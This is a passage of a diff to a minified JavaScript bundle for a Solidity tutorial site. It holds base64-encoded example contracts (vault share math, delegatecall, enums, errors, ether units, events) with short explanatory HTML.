aW9uIF9taW50KGFkZHJlc3MgX3RvLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5ICs9IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW190b10gKz0gX3NoYXJlczsKICAgIH0KCiAgICBmdW5jdGlvbiBfYnVybihhZGRyZXNzIF9mcm9tLCB1aW50MjU2IF9zaGFyZXMpIHByaXZhdGUgewogICAgICAgIHRvdGFsU3VwcGx5IC09IF9zaGFyZXM7CiAgICAgICAgYmFsYW5jZU9mW19mcm9tXSAtPSBfc2hhcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgLyoKICAgICAgICBhID0gYW1vdW50CiAgICAgICAgQiA9IGJhbGFuY2Ugb2YgdG9rZW4gYmVmb3JlIGRlcG9zaXQKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBtaW50CgogICAgICAgIChUICsgcykgLyBUID0gKGEgKyBCKSAvIEIgCgogICAgICAgIHMgPSBhVCAvIEIKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgc2hhcmVzOwogICAgICAgIGlmICh0b3RhbFN1cHBseSA9PSAwKSB7CiAgICAgICAgICAgIHNoYXJlcyA9IF9hbW91bnQ7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgc2hhcmVzID0gKF9hbW91bnQgKiB0b3RhbFN1cHBseSkgLyB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgfQoKICAgICAgICBfbWludChtc2cuc2VuZGVyLCBzaGFyZXMpOwogICAgICAgIHRva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9zaGFyZXMpIGV4dGVybmFsIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQKICAgICAgICBCID0gYmFsYW5jZSBvZiB0b2tlbiBiZWZvcmUgd2l0aGRyYXcKICAgICAgICBUID0gdG90YWwgc3VwcGx5CiAgICAgICAgcyA9IHNoYXJlcyB0byBidXJuCgogICAgICAgIChUIC0gcykgLyBUID0gKEIgLSBhKSAvIEIgCgogICAgICAgIGEgPSBzQiAvIFQKICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgYW1vdW50ID0KICAgICAgICAgICAgKF9zaGFyZXMgKiB0b2tlbi5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSkpIC8gdG90YWxTdXBwbHk7CiAgICAgICAgX2J1cm4obXNnLnNlbmRlciwgX3NoYXJlcyk7CiAgICAgICAgdG9rZW4udHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50KTsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKCiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],xw=`

                    Simple example of vault contract, commonly used in DeFi protocols.

                    +
                    `,Hw=({prev:s,next:a})=>r.jsx(A,{version:Vw,title:Yw,description:Xw,cyfrinLink:Rw,html:Nw,prev:s,next:a,codes:vw}),Kw="0.8.26",Fw="Vault",Mw="Vault",Sw="",xw=[{fileName:"Vault.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50a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DI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKCiAgICBldmVudCBUcmFuc2ZlcihhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGFtb3VudCk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGFtb3VudAogICAgKTsKfQo="}],Jw=`

                    Simple example of vault contract, commonly used in DeFi protocols.

                    Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw.

                    How the contract works

                      @@ -7372,7 +7372,7 @@ IERC20 constant PAIR address indexed owner, address indexed spender, uint256 amount ); } -
                    `,Jw=({prev:s,next:a})=>r.jsx(A,{version:Hw,title:Fw,description:Kw,cyfrinLink:Mw,html:xw,prev:s,next:a,codes:Sw}),zw="0.8.26",Dw="Delegatecall",Ew="Example of how to use delegatecall in Solidity",Qw="https://www.cyfrin.io/glossary/delegatecall-solidity-code-example",Tw=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Uw=`

                    delegatecall is a low level function similar to call.

                    +`,zw=({prev:s,next:a})=>r.jsx(A,{version:Kw,title:Fw,description:Mw,cyfrinLink:Sw,html:Jw,prev:s,next:a,codes:xw}),Dw="0.8.26",Ew="Delegatecall",Qw="Example of how to use delegatecall in Solidity",Tw="https://www.cyfrin.io/glossary/delegatecall-solidity-code-example",Uw=[{fileName:"Delegatecall.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8vIE5PVEU6IERlcGxveSB0aGlzIGNvbnRyYWN0IGZpcnN0CmNvbnRyYWN0IEIgewogICAgLy8gTk9URTogc3RvcmFnZSBsYXlvdXQgbXVzdCBiZSB0aGUgc2FtZSBhcyBjb250cmFjdCBBCiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKHVpbnQyNTYgX251bSkgcHVibGljIHBheWFibGUgewogICAgICAgIG51bSA9IF9udW07CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgICAgICB2YWx1ZSA9IG1zZy52YWx1ZTsKICAgIH0KfQoKY29udHJhY3QgQSB7CiAgICB1aW50MjU2IHB1YmxpYyBudW07CiAgICBhZGRyZXNzIHB1YmxpYyBzZW5kZXI7CiAgICB1aW50MjU2IHB1YmxpYyB2YWx1ZTsKCiAgICBmdW5jdGlvbiBzZXRWYXJzKGFkZHJlc3MgX2NvbnRyYWN0LCB1aW50MjU2IF9udW0pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICAvLyBBJ3Mgc3RvcmFnZSBpcyBzZXQsIEIgaXMgbm90IG1vZGlmaWVkLgogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSBkYXRhKSA9IF9jb250cmFjdC5kZWxlZ2F0ZWNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJzZXRWYXJzKHVpbnQyNTYpIiwgX251bSkKICAgICAgICApOwogICAgfQp9Cg=="}],Lw=`

                    delegatecall is a low level function similar to call.

                    When contract A executes delegatecall to contract B, B's code is executed

                    with contract A's storage, msg.sender and msg.value.

                    // SPDX-License-Identifier: MIT
                    @@ -7404,7 +7404,7 @@ IERC20 constant PAIR Solidity supports enums and they are useful to model choice and keep track of state.

                    +
                    `,_w=({prev:s,next:a})=>r.jsx(A,{version:Dw,title:Ew,description:Qw,cyfrinLink:Tw,html:Lw,prev:s,next:a,codes:Uw}),Ow="0.8.26",Pw="Enum",$w="Example of enums in Solidity",qw="https://www.cyfrin.io/glossary/enum-solidity-code-example",sk=[{fileName:"Enum.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEVudW0gewogICAgLy8gRW51bSByZXByZXNlbnRpbmcgc2hpcHBpbmcgc3RhdHVzCiAgICBlbnVtIFN0YXR1cyB7CiAgICAgICAgUGVuZGluZywKICAgICAgICBTaGlwcGVkLAogICAgICAgIEFjY2VwdGVkLAogICAgICAgIFJlamVjdGVkLAogICAgICAgIENhbmNlbGVkCiAgICB9CgogICAgLy8gRGVmYXVsdCB2YWx1ZSBpcyB0aGUgZmlyc3QgZWxlbWVudCBsaXN0ZWQgaW4KICAgIC8vIGRlZmluaXRpb24gb2YgdGhlIHR5cGUsIGluIHRoaXMgY2FzZSAiUGVuZGluZyIKICAgIFN0YXR1cyBwdWJsaWMgc3RhdHVzOwoKICAgIC8vIFJldHVybnMgdWludAogICAgLy8gUGVuZGluZyAgLSAwCiAgICAvLyBTaGlwcGVkICAtIDEKICAgIC8vIEFjY2VwdGVkIC0gMgogICAgLy8gUmVqZWN0ZWQgLSAzCiAgICAvLyBDYW5jZWxlZCAtIDQKICAgIGZ1bmN0aW9uIGdldCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKFN0YXR1cykgewogICAgICAgIHJldHVybiBzdGF0dXM7CiAgICB9CgogICAgLy8gVXBkYXRlIHN0YXR1cyBieSBwYXNzaW5nIHVpbnQgaW50byBpbnB1dAogICAgZnVuY3Rpb24gc2V0KFN0YXR1cyBfc3RhdHVzKSBwdWJsaWMgewogICAgICAgIHN0YXR1cyA9IF9zdGF0dXM7CiAgICB9CgogICAgLy8gWW91IGNhbiB1cGRhdGUgdG8gYSBzcGVjaWZpYyBlbnVtIGxpa2UgdGhpcwogICAgZnVuY3Rpb24gY2FuY2VsKCkgcHVibGljIHsKICAgICAgICBzdGF0dXMgPSBTdGF0dXMuQ2FuY2VsZWQ7CiAgICB9CgogICAgLy8gZGVsZXRlIHJlc2V0cyB0aGUgZW51bSB0byBpdHMgZmlyc3QgdmFsdWUsIDAKICAgIGZ1bmN0aW9uIHJlc2V0KCkgcHVibGljIHsKICAgICAgICBkZWxldGUgc3RhdHVzOwogICAgfQp9Cg=="},{fileName:"EnumDeclaration.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKLy8gVGhpcyBpcyBzYXZlZCAnRW51bURlY2xhcmF0aW9uLnNvbCcKCmVudW0gU3RhdHVzIHsKICAgIFBlbmRpbmcsCiAgICBTaGlwcGVkLAogICAgQWNjZXB0ZWQsCiAgICBSZWplY3RlZCwKICAgIENhbmNlbGVkCn0K"},{fileName:"EnumImport.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmltcG9ydCAiLi9FbnVtRGVjbGFyYXRpb24uc29sIjsKCmNvbnRyYWN0IEVudW0gewogICAgU3RhdHVzIHB1YmxpYyBzdGF0dXM7Cn0K"}],ak=`

                    Solidity supports enums and they are useful to model choice and keep track of state.

                    Enums can be declared outside of a contract.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                    @@ -7470,7 +7470,7 @@ IERC20 constant PAIR contract Enum {
                         Status public status;
                     }
                    -
                    `,ak=({prev:s,next:a})=>r.jsx(A,{version:Lw,title:Ow,description:Pw,cyfrinLink:$w,html:sk,prev:s,next:a,codes:qw}),nk="0.8.26",lk="Error",pk="Example of how to throw errors in Solidity",ek="https://www.cyfrin.io/glossary/error-solidity-code-example",ck=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgIC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AgdWludDI1NiBwdWJsaWMgbnVtOwoKICAgIGZ1bmN0aW9uIHRlc3RBc3NlcnQoKSBwdWJsaWMgdmlldyB7CiAgICAgICAgLy8gQXNzZXJ0IHNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTogYmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],tk=`

                    An error will undo all changes made to the state during a transaction.

                    +`,nk=({prev:s,next:a})=>r.jsx(A,{version:Ow,title:Pw,description:$w,cyfrinLink:qw,html:ak,prev:s,next:a,codes:sk}),lk="0.8.26",pk="Error",ek="Example of how to throw errors in Solidity",ck="https://www.cyfrin.io/glossary/error-solidity-code-example",tk=[{fileName:"Account.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFjY291bnQgewogICAgdWludDI1NiBwdWJsaWMgYmFsYW5jZTsKICAgIHVpbnQyNTYgcHVibGljIGNvbnN0YW50IE1BWF9VSU5UID0gMiAqKiAyNTYgLSAxOwoKICAgIGZ1bmN0aW9uIGRlcG9zaXQodWludDI1NiBfYW1vdW50KSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgb2xkQmFsYW5jZSA9IGJhbGFuY2U7CiAgICAgICAgdWludDI1NiBuZXdCYWxhbmNlID0gYmFsYW5jZSArIF9hbW91bnQ7CgogICAgICAgIC8vIGJhbGFuY2UgKyBfYW1vdW50IGRvZXMgbm90IG92ZXJmbG93IGlmIGJhbGFuY2UgKyBfYW1vdW50ID49IGJhbGFuY2UKICAgICAgICByZXF1aXJlKG5ld0JhbGFuY2UgPj0gb2xkQmFsYW5jZSwgIk92ZXJmbG93Iik7CgogICAgICAgIGJhbGFuY2UgPSBuZXdCYWxhbmNlOwoKICAgICAgICBhc3NlcnQoYmFsYW5jZSA+PSBvbGRCYWxhbmNlKTsKICAgIH0KCiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IF9hbW91bnQpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiBvbGRCYWxhbmNlID0gYmFsYW5jZTsKCiAgICAgICAgLy8gYmFsYW5jZSAtIF9hbW91bnQgZG9lcyBub3QgdW5kZXJmbG93IGlmIGJhbGFuY2UgPj0gX2Ftb3VudAogICAgICAgIHJlcXVpcmUoYmFsYW5jZSA+PSBfYW1vdW50LCAiVW5kZXJmbG93Iik7CgogICAgICAgIGlmIChiYWxhbmNlIDwgX2Ftb3VudCkgewogICAgICAgICAgICByZXZlcnQoIlVuZGVyZmxvdyIpOwogICAgICAgIH0KCiAgICAgICAgYmFsYW5jZS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HNob3VsZCBvbmx5IGJlIHVzZWQgdG8gdGVzdCBmb3IgaW50ZXJuYWwgZXJyb3JzLAogICAgICAgIC8vIGFuZCB0byBjaGVjayBpbnZhcmlhbnRzLgoKICAgICAgICAvLyBIZXJlIHdlIGFzc2VydCB0aGF0IG51bSBpcyBhbHdheXMgZXF1YWwgdG8gMAogICAgICAgIC8vIHNpbmNlIGl0IGlzIGltcG9zc2libGUgdG8gdXBkYXRlIHRoZSB2YWx1ZSBvZiBudW0KICAgICAgICBhc3NlcnQobnVtID09IDApOwogICAgfQoKICAgIC8vIGN1c3RvbSBlcnJvcgogICAgZXJyb3IgSW5zdWZmaWNpZW50QmFsYW5jZSh1aW50MjU2IGJhbGFuY2UsIHVpbnQyNTYgd2l0aGRyYXdBbW91bnQpOwoKICAgIGZ1bmN0aW9uIHRlc3RDdXN0b21FcnJvcih1aW50MjU2IF93aXRoZHJhd0Ftb3VudCkgcHVibGljIHZpZXcgewogICAgICAgIHVpbnQyNTYgYmFsID0gYWRkcmVzcyh0aGlzKS5iYWxhbmNlOwogICAgICAgIGlmIChiYWwgPCBfd2l0aGRyYXdBbW91bnQpIHsKICAgICAgICAgICAgcmV2ZXJ0IEluc3VmZmljaWVudEJhbGFuY2UoewogICAgICAgICAgICAgICAgYmFsYW5jZTogYmFsLAogICAgICAgICAgICAgICAgd2l0aGRyYXdBbW91bnQ6IF93aXRoZHJhd0Ftb3VudAogICAgICAgICAgICB9KTsKICAgICAgICB9CiAgICB9Cn0K"}],ok=`

                    An error will undo all changes made to the state during a transaction.

                    You can throw an error by calling require, revert or assert.

                    • require is used to validate inputs and conditions before execution.
                    • @@ -7558,7 +7558,7 @@ assertion probably means that there is a bug. assert(balance <= oldBalance); } } -`,ok=({prev:s,next:a})=>r.jsx(A,{version:nk,title:lk,description:pk,cyfrinLink:ek,html:tk,prev:s,next:a,codes:ck}),rk="0.8.26",ik="Ether and Wei",gk="An example of Ether and Wei in Solidity",hk="https://www.cyfrin.io/glossary/ether-and-wei-solidity-code-example",Ik=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IChvbmVXZWkgPT0gMSk7CgogICAgdWludDI1NiBwdWJsaWMgb25lR3dlaSA9IDEgZ3dlaTsKICAgIC8vIDEgZ3dlaSBpcyBlcXVhbCB0byAxMF45IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVHd2VpID0gKG9uZUd3ZWkgPT0gMWU5KTsKCiAgICB1aW50MjU2IHB1YmxpYyBvbmVFdGhlciA9IDEgZXRoZXI7CiAgICAvLyAxIGV0aGVyIGlzIGVxdWFsIHRvIDEwXjE4IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVFdGhlciA9IChvbmVFdGhlciA9PSAxZTE4KTsKfQo="}],dk=`

                      Transactions are paid with ether.

                      +`,rk=({prev:s,next:a})=>r.jsx(A,{version:lk,title:pk,description:ek,cyfrinLink:ck,html:ok,prev:s,next:a,codes:tk}),ik="0.8.26",gk="Ether and Wei",hk="An example of Ether and Wei in Solidity",Ik="https://www.cyfrin.io/glossary/ether-and-wei-solidity-code-example",dk=[{fileName:"EtherUnits.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEV0aGVyVW5pdHMgewogICAgdWludDI1NiBwdWJsaWMgb25lV2VpID0gMSB3ZWk7CiAgICAvLyAxIHdlaSBpcyBlcXVhbCB0byAxCiAgICBib29sIHB1YmxpYyBpc09uZVdlaSA9IChvbmVXZWkgPT0gMSk7CgogICAgdWludDI1NiBwdWJsaWMgb25lR3dlaSA9IDEgZ3dlaTsKICAgIC8vIDEgZ3dlaSBpcyBlcXVhbCB0byAxMF45IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVHd2VpID0gKG9uZUd3ZWkgPT0gMWU5KTsKCiAgICB1aW50MjU2IHB1YmxpYyBvbmVFdGhlciA9IDEgZXRoZXI7CiAgICAvLyAxIGV0aGVyIGlzIGVxdWFsIHRvIDEwXjE4IHdlaQogICAgYm9vbCBwdWJsaWMgaXNPbmVFdGhlciA9IChvbmVFdGhlciA9PSAxZTE4KTsKfQo="}],Ck=`

                      Transactions are paid with ether.

                      Similar to how one dollar is equal to 100 cent, one ether is equal to 1018 wei.

                      // SPDX-License-Identifier: MIT
                       pragma solidity ^0.8.26;
                      @@ -7576,7 +7576,7 @@ assertion probably means that there is a bug.
                           // 1 ether is equal to 10^18 wei
                           bool public isOneEther = (oneEther == 1e18);
                       }
                      -
                      `,Ck=({prev:s,next:a})=>r.jsx(A,{version:rk,title:ik,description:gk,cyfrinLink:hk,html:dk,prev:s,next:a,codes:Ik}),jk="0.8.26",Ak="Events",uk="Example of how to emit events in Solidity",yk="https://www.cyfrin.io/glossary/events-solidity-code-example",mk=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],bk=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      +`,jk=({prev:s,next:a})=>r.jsx(A,{version:ik,title:gk,description:hk,cyfrinLink:Ik,html:Ck,prev:s,next:a,codes:dk}),Ak="0.8.26",uk="Events",yk="Example of how to emit events in Solidity",mk="https://www.cyfrin.io/glossary/events-solidity-code-example",bk=[{fileName:"Events.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEV2ZW50IHsKICAgIC8vIEV2ZW50IGRlY2xhcmF0aW9uCiAgICAvLyBVcCB0byAzIHBhcmFtZXRlcnMgY2FuIGJlIGluZGV4ZWQuCiAgICAvLyBJbmRleGVkIHBhcmFtZXRlcnMgaGVscHMgeW91IGZpbHRlciB0aGUgbG9ncyBieSB0aGUgaW5kZXhlZCBwYXJhbWV0ZXIKICAgIGV2ZW50IExvZyhhZGRyZXNzIGluZGV4ZWQgc2VuZGVyLCBzdHJpbmcgbWVzc2FnZSk7CiAgICBldmVudCBBbm90aGVyTG9nKCk7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgZW1pdCBMb2cobXNnLnNlbmRlciwgIkhlbGxvIFdvcmxkISIpOwogICAgICAgIGVtaXQgTG9nKG1zZy5zZW5kZXIsICJIZWxsbyBFVk0hIik7CiAgICAgICAgZW1pdCBBbm90aGVyTG9nKCk7CiAgICB9Cn0K"}],wk=`

                      Events allow logging to the Ethereum blockchain. Some use cases for events are:

                      • Listening for events and updating user interface
                      • A cheap form of storage
